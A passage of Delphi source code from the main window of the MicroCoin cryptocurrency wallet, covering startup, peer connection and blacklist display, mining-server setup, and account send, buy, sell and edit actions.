with CreateMessageDialog(StrIgnoreOldBocks, mtConfirmation, [mbYes, mbNo]) do begin
Width := 400;
Caption := StrDownloadBlockchain;
if ShowModal = mrYes
then TConnectionManager.IgnoreOldBlocks := false
else TConnectionManager.IgnoreOldBlocks := true;
Free;
end;
end else begin
if TNode.Node.BlockManager.BlocksCount > 0 then begin
end;
end;
// Reading database
TThreadActivate.Create(false).FreeOnTerminate := true;
FNodeNotifyEvents.Node := TNode.Node;
// Init
TConnectionManager.Instance.OnReceivedHelloMessage := OnReceivedHelloMessage;
TConnectionManager.Instance.OnStatisticsChanged := OnNetStatisticsChanged;
TConnectionManager.Instance.OnNetConnectionsUpdated := OnNetConnectionsUpdated;
TConnectionManager.Instance.OnNodeServersUpdated := OnNetNodeServersUpdated;
TConnectionManager.Instance.OnBlackListUpdated := OnNetBlackListUpdated;
//
TimerUpdateStatus.Interval := 1000;
TimerUpdateStatus.Enabled := true;
UpdateConfigChanged;
except
on E: Exception do
begin
E.Message := Format(StrAnErrorOccoured, [E.Message]);
Application.MessageBox(PChar(E.Message), PChar(Application.Title), MB_ICONERROR + MB_OK);
Halt;
end;
end;
UpdatePrivateKeys;
UpdateAccounts(false);
if FAppSettings.Entries[TAppSettingsEntry.apFirstTime].GetAsBoolean(true)
then FAppSettings.Entries[TAppSettingsEntry.apFirstTime].SetAsBoolean(false);
end;
procedure TMainForm.ApplicationEventsException(Sender: TObject; E: Exception);
begin
MessageDlg(E.Message, TMsgDlgType.mtError, [mbOK], 0);
end;
procedure TMainForm.ApplicationEvents1Minimize(Sender: TObject);
begin
{$IFNDEF FPC}
Hide();
WindowState := wsMinimized;
TimerUpdateStatus.Enabled := false;
TrayIcon.Visible := true;
TrayIcon.ShowBalloonHint;
{$ENDIF}
end;
procedure TMainForm.ApplicationEventsMinimize(Sender: TObject);
begin
{$IFNDEF FPC}
Hide();
WindowState := wsMinimized;
TimerUpdateStatus.Enabled := false;
{ Show the animated tray icon and also a hint balloon. }
TrayIcon.Visible := true;
TrayIcon.ShowBalloonHint;
{$ENDIF}
end;
procedure TMainForm.bbAccountsRefreshClick(Sender: TObject);
begin
UpdateAccounts(true);
end;
procedure TMainForm.BlockExplorerActionExecute(Sender: TObject);
begin
TBlockChainExplorerForm.Create(nil).Show;
end;
procedure TMainForm.btnSelectAccountClick(Sender: TObject);
begin
with TAccountSelectDialog.Create(nil) do begin
if ShowModal = mrOk
then begin
edTargetAccount.Text := TAccount.AccountNumberToString(SelectedAccount.AccountNumber);
end;
Free;
end;
end;
procedure TMainForm.BuyActionExecute(Sender: TObject);
begin
with TBuyAccountForm.Create(self) do begin
Account := TAccount(Self.accountVList.FocusedNode.GetData()^);
ShowModal;
Free;
end;
end;
procedure TMainForm.BuyActionUpdate(Sender: TObject);
var
xIsReady: AnsiString;
begin
if accountVList.FocusedNode <> nil then
BuyAction.Enabled := (TNode.Node.KeyManager.IndexOfAccountKey(
TAccount(accountVList.FocusedNode.GetData()^).AccountInfo.AccountKey) < 0)
and TNode.Node.IsReady(xIsReady)
and (TAccount(accountVList.FocusedNode.GetData()^).AccountInfo.State = as_ForSale)
else BuyAction.Enabled := false;
end;
procedure TMainForm.cbExploreMyAccountsClick(Sender: TObject);
begin
cbMyPrivateKeys.Enabled := cbExploreMyAccounts.Checked;
UpdateAccounts(true);
end;
procedure TMainForm.cbForSaleClick(Sender: TObject);
begin
UpdateAccounts(true);
end;
procedure TMainForm.cbMyPrivateKeysChange(Sender: TObject);
begin
UpdateAccounts(true);
end;
procedure TMainForm.CloseActionExecute(Sender: TObject);
begin
Close;
end;
procedure TMainForm.CM_NetConnectionUpdated(var Msg: TMessage);
const
cBooleanToString: array [Boolean] of string = ('False', 'True');
var
i: Integer;
xNetConnection: TNetConnection;
l: TList;
xClientApp, xLastConnTime: string;
xStrings, xNSC, xRS, xDisc: TStrings;
hh, nn, ss, ms: Word;
begin
try
if not TConnectionManager.Instance.NetConnections.TryLockList(100, l) then
exit;
try
xStrings := memoNetConnections.Lines;
xNSC := TStringList.Create;
xRS := TStringList.Create;
xDisc := TStringList.Create;
xStrings.BeginUpdate;
try
for i := 0 to l.Count - 1 do
begin
xNetConnection := l[i];
if xNetConnection.Client.BytesReceived > 0 then
begin
xClientApp := '[' + IntToStr(xNetConnection.NetProtocolVersion.protocol_version) + '-' +
IntToStr(xNetConnection.NetProtocolVersion.protocol_available) + '] ' + xNetConnection.ClientAppVersion;
end
else
begin
xClientApp := '(no data)';
end;
if xNetConnection.Connected then
begin
if xNetConnection.Client.LastCommunicationTime > 1000 then
begin
DecodeTime(now - xNetConnection.Client.LastCommunicationTime, hh, nn, ss, ms);
if (hh = 0) and (nn = 0) and (ss < 10) then
begin
xLastConnTime := ' - Last comunication <10 sec.';
end
else
begin
xLastConnTime := Format(' - Last comunication %.2dm%.2ds', [(hh * 60) + nn, ss]);
end;
end
else
begin
xLastConnTime := '';
end;
if xNetConnection is TNetServerClient then
begin
xNSC.Add(Format('Client: IP:%s Block:%d Sent/Received:%d/%d Bytes - %s - ' + 'Time offset %d - Active since %s %s',
[xNetConnection.ClientRemoteAddr, xNetConnection.RemoteOperationBlock.block, xNetConnection.Client.BytesSent,
xNetConnection.Client.BytesReceived, xClientApp, xNetConnection.TimestampDiff, DateTimeElapsedTime(xNetConnection.CreatedTime),
xLastConnTime]));
end
else
begin
if xNetConnection.IsMyselfServer then
xNSC.Add(Format('MySelf IP:%s Sent/Received:%d/%d Bytes - %s - Time offset ' + '%d - Active since %s %s', [xNetConnection.ClientRemoteAddr, xNetConnection.Client.BytesSent, xNetConnection.Client.BytesReceived,
xClientApp, xNetConnection.TimestampDiff, DateTimeElapsedTime(xNetConnection.CreatedTime), xLastConnTime]))
else
begin
xRS.Add(Format
('Remote Server: IP:%s Block:%d Sent/Received:%d/%d Bytes - %s - Time offset %d - Active since %s %s',
[xNetConnection.ClientRemoteAddr, xNetConnection.RemoteOperationBlock.block, xNetConnection.Client.BytesSent, xNetConnection.Client.BytesReceived,
xClientApp, xNetConnection.TimestampDiff, DateTimeElapsedTime(xNetConnection.CreatedTime), xLastConnTime]));
end;
end;
end
else
begin
if xNetConnection is TNetServerClient then
begin
xDisc.Add(Format('Disconnected client: IP:%s - %s', [xNetConnection.ClientRemoteAddr, xClientApp]));
end
else if xNetConnection.IsMyselfServer then
begin
xDisc.Add(Format('Disconnected MySelf IP:%s - %s', [xNetConnection.ClientRemoteAddr, xClientApp]));
end
else
begin
xDisc.Add(Format('Disconnected Remote Server: IP:%s %s - %s',
[xNetConnection.ClientRemoteAddr, cBooleanToString[xNetConnection.Connected], xClientApp]));
end;
end;
end;
xStrings.Clear;
xStrings.Add(Format('Connections Updated %s Clients:%d Servers:%d (valid servers:%d)',
[DateTimeToStr(now), xNSC.Count, xRS.Count,
TConnectionManager.Instance.NetStatistics.ServersConnectionsWithResponse]));
xStrings.AddStrings(xRS);
xStrings.AddStrings(xNSC);
if xDisc.Count > 0 then
begin
xStrings.Add('');
xStrings.Add('Disconnected connections: ' + IntToStr(xDisc.Count));
xStrings.AddStrings(xDisc);
end;
finally
xStrings.EndUpdate;
xNSC.Free;
xRS.Free;
xDisc.Free;
end;
// CheckMining;
finally
TConnectionManager.Instance.NetConnections.UnlockList;
end;
finally
FMustProcessNetConnectionUpdated := false;
end;
end;
procedure TMainForm.CommunityActionExecute(Sender: TObject);
begin
ShellExecute(0, 'open', 'https://discord.gg/ewQq5A6', nil, nil, SW_SHOWNORMAL);
end;
procedure TMainForm.ConfirmRestart;
begin
if MessageDlg(StrRestartApplication, {$IFDEF fpc} rsYouNeedResta, {$ENDIF} mtConfirmation, [mbYes, mbNo],{$IFDEF fpc}''{$ELSE}0{$ENDIF}) = mrYes then
Application.Terminate;
end;
class constructor TMainForm.Create;
begin
end;
procedure TMainForm.CM_WalletChanged(var Msg: TMessage);
begin
UpdatePrivateKeys;
FMustProcessWalletChanged := false;
end;
procedure TMainForm.DoUpdateAccounts;
begin
UpdateAccounts(true);
end;
procedure TMainForm.EditAccountActionExecute(Sender: TObject);
begin
if accountVList.FocusedNode = nil then exit;
with TEditAccountForm.Create(self) do begin
AccountNumber := TAccount(accountVList.FocusedNode.GetData()^).AccountNumber;
ShowModal;
Free;
end;
end;
procedure TMainForm.EditAccountActionUpdate(Sender: TObject);
var
xIsReady : AnsiString;
begin
if accountVList.FocusedNode<>nil then
EditAccountAction.Enabled :=
TNode.Node.IsReady(xIsReady) and
(TNode.Node.KeyManager.IndexOfAccountKey(
TAccount(accountVList.FocusedNode.GetData()^).AccountInfo.AccountKey) > -1)
else EditAccountAction.Enabled := false;
end;
procedure TMainForm.edTargetAccountKeyPress(Sender: TObject; var Key: Char);
begin
if not (Key in ['0'..'9', '-', #8, #9, #13, #10, '/'])
then Key := #0;
if (Key = '-') and (Pos('-', edTargetAccount.Text)>0)
then Key := #0;
end;
procedure TMainForm.encryptModeSelectChange(Sender: TObject);
begin
encryptionPassword.Enabled := encryptModeSelect.ItemIndex = 3;
if encryptionPassword.Enabled then encryptionPassword.SetFocus
else encryptionPassword.Text := '';
end;
procedure TMainForm.FinishedLoadingApp;
var
i : integer;
begin
FPoolMiningServer := TMiningServer.Create;
FPoolMiningServer.Port := FAppSettings.Entries[TAppSettingsEntry.apJSONRPCMinerServerPort]
.GetAsInteger(cMinerServerPort);
FPoolMiningServer.MinerAccountKey := GetAccountKeyForMiner;
FPoolMiningServer.MinerPayload := FAppSettings.Entries[TAppSettingsEntry.apMinerName].GetAsString('');
TNode.Node.TransactionStorage.AccountKey := GetAccountKeyForMiner;
FPoolMiningServer.Active := FAppSettings.Entries[TAppSettingsEntry.apJSONRPCMinerServerActive].GetAsBoolean(true);
FPoolMiningServer.OnMiningServerNewBlockFound := OnMiningServerNewBlockFound;
for i:=0 to MainActions.ActionCount-1 do MainActions[i].Enabled := true;
if Assigned(FBackgroundPanel) then
begin
FreeAndNil(FBackgroundPanel);
end;
end;
function TMainForm.ForceMining: Boolean;
begin
Result := false;
end;
procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
FNotificationCenter.Free;
TimerUpdateStatus.Enabled := false;
Timer1.Enabled := false
end;
procedure TMainForm.FormCreate(Sender: TObject);
var
i: Integer;
begin
Caption := Application.Title;
if not LoadSSLCrypt then begin
MessageDlg(Format(StrCanNotLoadRequiredLibrary, [SSL_C_LIB]), mtError, [mbOk], 0);
Free;
Exit;
end;
FNotificationCenter := nil;
try
FNotificationCenter := TNotificationCenter.Create(self);
except
end;
TCrypto.InitCrypto;
TimerUpdateStatus.Enabled := true;
logPanel.Height := 250;
feeEdit.Text := TCurrencyUtils.CurrencyToString(0);
amountEdit.TextHint := TCurrencyUtils.CurrencyToString(12345678);
bShowLogs := TPngSpeedButton.Create(Self);
bShowLogs.Name := 'bShowLogs';
bShowLogs.GroupIndex := 1;
bShowLogs.AllowAllUp := true;
bShowLogs.Action := ShowLogAction;
bShowLogs.Flat := true;
bShowLogs.Parent := StatusBar;
ShowLogAction.Caption := '';
bShowLogs.Action := ShowLogAction;
bShowLogs.ShowHint := true;
accountVList.NodeDataSize := sizeof(TAccount);
accountVList.CheckImageKind := TCheckImageKind.ckSystemDefault;
MainActions.Style := PlatformVclStylesStyle;
AccountListActions.Style := PlatformVclStylesStyle;
FBackgroundPanel := nil;
FMustProcessWalletChanged := false;
FMustProcessNetConnectionUpdated := false;
FRPCServer := nil;
FPoolMiningServer := nil;
FMinAccountBalance := 0;
FMaxAccountBalance := cMaxWalletAmount;
FMessagesUnreadCount := 0;
memoNetConnections.Lines.Clear;
memoNetServers.Lines.Clear;
memoNetBlackLists.Lines.Clear;
FUpdating := false;
FOrderedAccountsKeyList := nil;
TimerUpdateStatus.Enabled := false;
FIsActivated := false;
for i := 0 to StatusBar.Panels.Count - 1 do
begin
StatusBar.Panels[i].Text := '';
end;
if FileExists(MicroCoinDataFolder + PathDelim + 'MicroCointWallet.log')
then DeleteFile(MicroCoinDataFolder + PathDelim + 'MicroCointWallet.log');
FLog := TLog.Create(Self);
FLog.OnNewLog := OnNewLog;
FLog.SaveTypes := [];
if not ForceDirectories(MicroCoinDataFolder) then
raise Exception.Create(StrCannotCreateDir + MicroCoinDataFolder);
FAppSettings := TAppSettings.Create;
FAppSettings.FileName := MicroCoinDataFolder + PathDelim + 'AppParams.prm';
{$IFNDEF TESTNET}
TStyleManager.TrySetStyle(FAppSettings.Entries[TAppSettingsEntry.apTheme].GetAsString('Slate Classico'), false);
{$ENDIF}
FNodeNotifyEvents := TNodeNotifyEvents.Create(Self);
FNodeNotifyEvents.OnBlocksChanged := OnNewAccount;
FNodeNotifyEvents.OnNodeMessageEvent := OnNodeMessageEvent;
{$IFNDEF TESTNET}
FNodeNotifyEvents.OnTransactionsChanged:= OnNewOperation;
{$ENDIF}
TNode.Node.KeyManager := TKeyManager.Create(self);
TNode.Node.KeyManager.OnChanged := OnWalletChanged;
LoadAppParams;
UpdatePrivateKeys;
UpdateBlockChainState;
UpdateConnectionStatus;
cbExploreMyAccountsClick(nil);
TrayIcon.Visible := true;
TrayIcon.Hint := Self.Caption;
TrayIcon.BalloonTitle := StrRestoringTheWindow;
TrayIcon.BalloonHint := StrDoubleClickTheSystemTray;
TrayIcon.BalloonFlags := bfInfo;
MinersBlocksFound := 0;
FBackgroundPanel := TPanel.Create(Self);
FBackgroundPanel.Parent := MainPanel;
FBackgroundPanel.Align := alClient;
FBackgroundPanel.BorderStyle := bsNone;
FBackgroundPanel.BevelKind := bkNone;
FBackgroundPanel.BevelInner := bvNone;
FBackgroundPanel.BevelOuter := bvNone;
FBackgroundPanel.BorderWidth := 0;
FBackgroundPanel.Font.Size := 12;
FBackgroundPanel.Alignment := TAlignment.taCenter;
FProgessBar := TProgressBar.Create(FBackgroundPanel);
FProgessBar.Parent := FBackgroundPanel;
FProgessBar.Width := 250;
FProgessBar.Top := 10 + Abs(FBackgroundPanel.Font.Height) + (FBackgroundPanel.Height div 2 - FProgessBar.Height div 2);
FProgessBar.Left := FBackgroundPanel.Width div 2 - FProgessBar.Width div 2;
end;
procedure TMainForm.ChangeKeyActionExecute(Sender: TObject);
begin
with TChangeAccountKeyForm.Create(self) do begin
Account := TAccount(accountVList.FocusedNode.GetData()^);
ShowModal;
Free;
end;
end;
procedure TMainForm.ChangeKeyActionUpdate(Sender: TObject);
var
xIsReady : AnsiString;
begin
if accountVList.FocusedNode <> nil then
ChangeKeyAction.Enabled := TNode.Node.IsReady(xIsReady) and
(TNode.Node.KeyManager.IndexOfAccountKey(
TAccount(accountVList.FocusedNode.GetData()^).AccountInfo.AccountKey) > -1)
else ChangeKeyAction.Enabled := false;
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
Self.Hide;
Application.ProcessMessages;
TLog.NewLog(ltinfo, Classname, 'Destroying form - START');
try
FreeAndNil(FRPCServer);
FreeAndNil(FPoolMiningServer);
FreeAndNil(FAppSettings);
if FLog <> nil then FLog.OnNewLog := nil;
if TConnectionManager.HasInstance then begin
TConnectionManager.Instance.OnReceivedHelloMessage := nil;
TConnectionManager.Instance.OnStatisticsChanged := nil;
TConnectionManager.Instance.OnNetConnectionsUpdated := nil;
TConnectionManager.Instance.OnNodeServersUpdated := nil;
TConnectionManager.Instance.OnBlackListUpdated := nil;
TConnectionManager.Instance.OnReceivedHelloMessage := nil;
TConnectionManager.Instance.OnStatisticsChanged := nil;
end;
FreeAndNil(FNodeNotifyEvents);
FreeAndNil(FOrderedAccountsKeyList);
Application.ProcessMessages;
TNode.FreeNode;
Application.ProcessMessages;
if Assigned(FAccounts)
then FreeAndNil(FAccounts);
TConnectionManager.ReleaseInstance;
except
on E: Exception do
begin
TLog.NewLog(lterror, Classname, 'Error destroying form. Errors (' + E.Classname + '): ' +
E.Message);
end;
end;
TLog.NewLog(ltinfo, Classname, 'Destroying form - END');
FreeAndNil(FLog);
end;
procedure TMainForm.MultipleTransactionActionExecute(Sender: TObject);
begin
if accountVList.CheckedCount = 0
then begin
MessageDlg(StrPleaseSelectAccounts, TMsgDlgType.mtWarning, [mbOK], 0);
exit;
end;
end;
procedure TMainForm.Timer1Timer(Sender: TObject);
begin
UpdateAccounts(true);
end;
function TMainForm.GetAccountKeyForMiner: TAccountKey;
var
xPrivateKey: TECKeyPair;
i: Integer;
xPublicKey: TECPublicKey;
begin
Result := TAccountKey.Empty;
if not Assigned(TNode.Node.KeyManager) then
exit;
if not Assigned(FAppSettings) then
exit;
case FMinerPrivateKeyType of
mpk_NewEachTime:
xPublicKey := TAccountKey.Empty;
mpk_Selected:
begin
xPublicKey := TAccountKey.FromRawString(FAppSettings.Entries[TAppSettingsEntry.apMinerPrivateKeySelectedPublicKey]
.GetAsString(''));
end;
else
// Random
xPublicKey := TAccountKey.Empty;
if TNode.Node.KeyManager.Count > 0 then
xPublicKey := TNode.Node.KeyManager.Key[Random(TNode.Node.KeyManager.Count)].AccountKey;
end;
i := TNode.Node.KeyManager.IndexOfAccountKey(xPublicKey);
if i >= 0 then
begin
if (TNode.Node.KeyManager.Key[i].CryptedKey = '') then
i := -1;
end;
if i < 0 then
begin
xPrivateKey := TECKeyPair.Create;
try
xPrivateKey.GenerateRandomPrivateKey(cDefault_EC_OpenSSL_NID);
TNode.Node.KeyManager.AddPrivateKey(Format(StrNewForMiner, [DateTimeToStr(now)]), xPrivateKey);
xPublicKey := xPrivateKey.PublicKey;
finally
xPrivateKey.Free;
end;
end;
Result := xPublicKey;
end;
procedure TMainForm.HomePageActionExecute(Sender: TObject);
begin
ShellExecute(0, 'open', 'https://microcoin.hu', nil, nil, SW_SHOWNORMAL);
end;
procedure TMainForm.LoadAppParams;
var
xMemoryStream: TMemoryStream;
s: AnsiString;
begin
xMemoryStream := TMemoryStream.Create;
try
s := FAppSettings.Entries[TAppSettingsEntry.apGridAccountsStream].GetAsString('');
xMemoryStream.WriteBuffer(s[1], length(s));
xMemoryStream.Position := 0;
// Disabled on V2: FAccountsGrid.LoadFromStream(ms);
finally
xMemoryStream.Free;
end;
if FAppSettings.Find(TAppSettingsEntry.apMinerName) = nil then
begin
// New configuration... assigning a new random value
FAppSettings.Entries[TAppSettingsEntry.apMinerName].SetAsString(Format('New Node %s - %s', [DateTimeToStr(now), ClientAppVersion]));
end;
UpdateConfigChanged;
end;
procedure TMainForm.OnMiningServerNewBlockFound(Sender: TObject);
begin
FPoolMiningServer.MinerAccountKey := GetAccountKeyForMiner;
end;
procedure TMainForm.OnNetBlackListUpdated(Sender: TObject);
var
i, j, n: Integer;
xNodeServer: PNodeServerAddress;
xList: TList;
xStrings: TStrings;
begin
xList := TConnectionManager.Instance.NodeServersAddresses.LockList;
try
xStrings := memoNetBlackLists.Lines;
xStrings.BeginUpdate;
try
xStrings.Clear;
xStrings.Add(Format('BlackList Updated: %s by TID: %s', [DateTimeToStr(now), IntToHex(TThread.CurrentThread.ThreadID, 8)]));
j := 0;
n := 0;
for i := 0 to xList.Count - 1 do
begin
xNodeServer := xList[i];
if (xNodeServer^.is_blacklisted) then
begin
inc(n);
if not xNodeServer^.its_myself then
begin
inc(j);
xStrings.Add(Format('Blacklist IP: %s:%d LastConnection: %s Reason: %s', [xNodeServer^.ip, xNodeServer^.Port,
DateTimeToStr(UnivDateTime2LocalDateTime(UnixToUnivDateTime(xNodeServer^.last_connection))), xNodeServer^.BlackListText]));
end;
end;
end;
xStrings.Add(Format('Total Blacklisted IPs: %d (Total %d)', [j, n]));
finally
xStrings.EndUpdate;
end;
finally
TConnectionManager.Instance.NodeServersAddresses.UnlockList;
end;
end;
procedure TMainForm.OnNetConnectionsUpdated(Sender: TObject);
begin
if FMustProcessNetConnectionUpdated then
exit;
FMustProcessNetConnectionUpdated := true;
PostMessage(Self.Handle, CM_PC_NetConnectionUpdated, 0, 0);
end;
procedure TMainForm.OnNetNodeServersUpdated(Sender: TObject);
var
i: Integer;
xPNodeServerAddress: PNodeServerAddress;
l: TList;
xStrings: TStrings;
s: string;
begin
l := TConnectionManager.Instance.NodeServersAddresses.LockList;
try
xStrings := memoNetServers.Lines;
xStrings.BeginUpdate;
try
xStrings.Clear;
xStrings.Add(Format('NodeServers Updated: %s Count: %s', [DateTimeToStr(now), IntToStr(l.Count)]));
for i := 0 to l.Count - 1 do
begin
xPNodeServerAddress := l[i];
if not(xPNodeServerAddress^.is_blacklisted) then
begin
s := Format('Server IP: %s:%d', [xPNodeServerAddress^.ip, xPNodeServerAddress^.Port]);
if Assigned(xPNodeServerAddress.NetConnection) then
begin
if xPNodeServerAddress.last_connection > 0 then
s := Format('%s ** ACTIVE **', [s])
else
s := Format('%s ** TRYING TO CONNECT **', [s]);
end;
if xPNodeServerAddress.its_myself then
begin
s := Format('%s ** NOT VALID ** %s', [s, xPNodeServerAddress.BlackListText]);
end;
if xPNodeServerAddress.last_connection > 0 then
begin
s := Format('%s Last connection: %s',
[s, DateTimeToStr(UnivDateTime2LocalDateTime(UnixToUnivDateTime(xPNodeServerAddress^.last_connection)))]);
end;
if xPNodeServerAddress.last_connection_by_server > 0 then
begin
s := Format('%s Last server connection: %s',
[s, DateTimeToStr(UnivDateTime2LocalDateTime(UnixToUnivDateTime(xPNodeServerAddress^.last_connection_by_server)))]);
end;
if (xPNodeServerAddress.last_attempt_to_connect > 0) then
begin
s := Format('%s Last attempt to connect: %s', [s, DateTimeToStr(xPNodeServerAddress^.last_attempt_to_connect)]);
end;
if (xPNodeServerAddress.total_failed_attemps_to_connect > 0) then
begin
s := Format('%s (Attempts: %s)', [s, IntToStr(xPNodeServerAddress^.total_failed_attemps_to_connect)]);
end;
xStrings.Add(s);
end;
end;
finally
xStrings.EndUpdate;
end;
finally
TConnectionManager.Instance.NodeServersAddresses.UnlockList;
end;
end;
procedure TMainForm.OnNetStatisticsChanged(Sender: TObject);
begin
StatusBar.Invalidate;
end;
procedure TMainForm.OnNewAccount(Sender: TObject);
begin
try
UpdateAccounts(false);
UpdateBlockChainState;
except
on E: Exception do
begin
E.Message := 'Error at OnNewAccount ' + E.Message;
raise;
end;
end;
end;
procedure TMainForm.OnNewLog(logtype: TLogType; Time: TDateTime; ThreadID: Cardinal;
const Sender, logtext: AnsiString);
var
xThreadId: AnsiString;
begin
if (logtype=ltdebug) then exit;
if ThreadID = MainThreadID then
xThreadId := ' MAIN:'
else
xThreadId := ' TID:';
if logDisplay.Lines.Count > 300 then
begin
logDisplay.Lines.BeginUpdate;
try
while logDisplay.Lines.Count > 250 do
logDisplay.Lines.Delete(0);
finally
logDisplay.Lines.EndUpdate;
end;
end;
case logtype of
ltinfo:
logDisplay.SelAttributes.Color := clWindowText;
ltdebug:
logDisplay.SelAttributes.Color := clGray;
ltupdate:
logDisplay.SelAttributes.Color := clGreen;
lterror:
logDisplay.SelAttributes.Color := clRed;
end;
logDisplay.Lines.Add(formatDateTime(FormatSettings.ShortDateFormat + ' ' + FormatSettings.LongTimeFormat, Time)
+ ' [' + CT_LogType[logtype] + '] ' + { <'+sender+'> '+ } logtext);
if logPanel.Visible and (bottomPageControl.ActivePageIndex = 0) and Visible then
logDisplay.SetFocus;
logDisplay.SelStart := logDisplay.GetTextLen;
logDisplay.Perform(EM_SCROLLCARET, 0, 0);
end;
var
lastHash : ansistring;
procedure TMainForm.OnNewOperation(Sender: TObject);
var
i:integer;
xTransaction: ITransaction;
xIndex: integer;
xNotification: TNotification;
begin
if FNotificationCenter = nil then exit;
if FAppSettings.Entries[TAppSettingsEntry.apNotifyOnNewTransaction].GetAsBoolean(true)
then begin
for i:=0 to TNodeNotifyEvents(Sender).Node.TransactionStorage.TransactionCount - 1 do begin
xTransaction := TNodeNotifyEvents(Sender).Node.TransactionStorage.TransactionHashTree.GetTransaction(i);
if xTransaction.Sha256 = lastHash then continue;
lastHash := xTransaction.Sha256;
if FAccounts.Find(xTransaction.DestinationAccount, xIndex)
then begin
xNotification := FNotificationCenter.CreateNotification;
try
xNotification.Title := NewTransaction;
xNotification.AlertBody := xTransaction.ToString;
xNotification.Name := xTransaction.ToString;
FNotificationCenter.PresentNotification(xNotification);
finally
xNotification.Free;
end;
end;
end;
end;
UpdateAccounts(true);
end;
procedure TMainForm.OnNodeMessageEvent(NetConnection: TNetConnection; MessageData: TRawBytes);
begin
end;
procedure TMainForm.OnReceivedHelloMessage(Sender: TObject);
var
xNodeServerArray: TNodeServerAddressArray;
i: Integer;
s: AnsiString;
begin
// CheckMining;
// Update node servers Peer Cache
xNodeServerArray := TConnectionManager.Instance.GetValidNodeServers(true, 0);
s := '';
for i := low(xNodeServerArray) to high(xNodeServerArray) do
begin
if (s <> '') then
s := s + ';';
s := s + xNodeServerArray[i].ip + ':' + IntToStr(xNodeServerArray[i].Port);
end;
FAppSettings.Entries[TAppSettingsEntry.apPeerCache].SetAsString(s);
TNode.Node.PeerCache := s;
end;
procedure TMainForm.OnWalletChanged(Sender: TObject);
begin
if FMustProcessWalletChanged then
exit;
FMustProcessWalletChanged := true;
PostMessage(Self.Handle, CM_PC_WalletKeysChanged, 0, 0);
end;
procedure TMainForm.TransactionHistoryActionExecute(Sender: TObject);
begin
with TTransactionHistoryForm.Create(nil) do begin
if accountVList.GetNodeLevel(accountVList.FocusedNode) = 0
then Account := TAccount(accountVList.FocusedNode.GetData()^)
else Account := TAccount(accountVList.FocusedNode.Parent.GetData()^);
Show;
end;
end;
procedure TMainForm.TransactionHistoryActionUpdate(Sender: TObject);
begin
if accountVList.FocusedNode<>nil
then TransactionHistoryAction.Enabled := true
else TransactionHistoryAction.Enabled := false;
end;
procedure TMainForm.TransactionsActionExecute(Sender: TObject);
begin
TTransactionExplorer.Create(nil).Show;
end;
procedure TMainForm.PendingTransactionsActionExecute(Sender: TObject);
begin
with TTransactionHistoryForm.Create(nil) do begin
Show;
end;
end;
procedure TMainForm.SelectAllActionExecute(Sender: TObject);
var
xNode: PVirtualNode;
xAllAmount : UInt64;
begin
xAllAmount := 0;
accountVList.BeginUpdate;
try
xNode := accountVList.GetFirst;
while Assigned(xNode) do
begin
if SelectAllAction.Checked
then begin
xNode.CheckState := TCheckState.csCheckedNormal;
xAllAmount := xAllAmount + TAccount(xNode.GetData()^).Balance;
end
else xNode.CheckState := TCheckState.csUncheckedNormal;
xNode := accountVList.GetNextSibling(xNode);
end;
if SelectAllAction.Checked then begin
amountEdit.ReadOnly := true;
amountEdit.Text := TCurrencyUtils.CurrencyToString(xAllAmount);
amountEdit.readOnly := True;
end else begin
amountEdit.Clear;
amountEdit.readOnly := False;
end;
finally
accountVList.EndUpdate;
end;
end;
procedure TMainForm.SelectAllActionUpdate(Sender: TObject);
begin
SelectAllAction.Enabled := accountVList.RootNodeCount > 0;
end;
procedure TMainForm.SellAccountActionExecute(Sender: TObject);
begin
with TSellAccountForm.Create(self) do begin
Account := TAccount(accountVList.FocusedNode.GetData()^);
ShowModal;
Free;
end;
end;
procedure TMainForm.SellAccountActionUpdate(Sender: TObject);
var
xIsReady: AnsiString;
begin
if accountVList.FocusedNode <> nil then
SellAccountAction.Enabled := (TNode.Node.KeyManager.IndexOfAccountKey(
TAccount(accountVList.FocusedNode.GetData()^).AccountInfo.AccountKey) > -1)
and TNode.Node.IsReady(xIsReady)
and (TAccount(accountVList.FocusedNode.GetData()^).AccountInfo.State = as_Normal)
else SellAccountAction.Enabled := false;
end;
procedure TMainForm.SendExecute(Sender: TObject);
var
i : integer;
xTransaction : ITransaction;
xSenderAccount: TAccount;
xTargetAccount: TAccount;
xTargetAccountNumber : Cardinal;
xWalletKey : TWalletKey;
xAmount, xFee : int64;
xErrors: AnsiString;
xPayload : AnsiString;
xPassword: string;
begin
while not TNode.Node.KeyManager.IsValidPassword
do begin
if not InputQuery(StrUnlockWallet, [#30+StrPassword], xPassword) then exit;
TNode.Node.KeyManager.WalletPassword := xPassword;
end;
xPassword := '';
if not TCurrencyUtils.ParseValue(amountEdit.Text, xAmount) then begin
MessageDlg(StrInvalidAmount, mtError, [mbOK], 0);
exit;
end;
if not TCurrencyUtils.ParseValue(feeEdit.Text, xFee) then begin
MessageDlg(StrInvalidFee, mtError, [mbOK], 0);
exit;
end;
if not TAccount.ParseAccountNumber(edTargetAccount.Text, xTargetAccountNumber) then
begin
MessageDlg(StrInvalidAccountNumber, TMsgDlgType.mtError, [mbOK],0);
exit;
end;
i:=-1;
if accountVList.FocusedNode = nil then begin
MessageDlg(StrPleaseSelectSenderAccount, TMsgDlgType.mtError, [mbOK],0);
exit;
end;
if accountVList.GetNodeLevel(accountVList.FocusedNode)=0
then begin
xSenderAccount := TAccount(accountVList.FocusedNode.GetData()^);
i := TNode.Node.KeyManager.IndexOfAccountKey(xSenderAccount.AccountInfo.AccountKey);
end;
if i<0 then begin
MessageDlg(StrSenderPrivateKeyNotFound, TMsgDlgType.mtError, [mbOK],0);
exit;
end;
if (xAmount + xFee) > xSenderAccount.Balance then begin
MessageDlg(StrNotEnoughMoney, TMsgDlgType.mtError, [mbOK],0);
exit;
end;
try
xTargetAccount := TNode.Node.TransactionStorage.BlockManager.AccountStorage.Accounts[xTargetAccountNumber];
except on E:Exception do
begin
MessageDlg(StrInvalidTargetAccount, TMsgDlgType.mtError, [mbOK],0);
exit;
end;
end;
if xTargetAccount.IsAccountBlockedByProtocol(xTargetAccount.AccountNumber, TNode.Node.BlockManager.BlocksCount-1)
then begin
MessageDlg(StrTargetAccountIsLocked, TMsgDlgType.mtError, [mbOK],0);
exit;
end;
if xSenderAccount.IsAccountBlockedByProtocol(xSenderAccount.AccountNumber, TNode.Node.BlockManager.BlocksCount-1)
then begin
MessageDlg(StrSenderAccountIsLocked, TMsgDlgType.mtError, [mbOK],0);
exit;
end;
if Trim(payloadEdit.Text)<>'' then begin
case encryptModeSelect.ItemIndex of
0: xPayload := payloadEdit.Text;
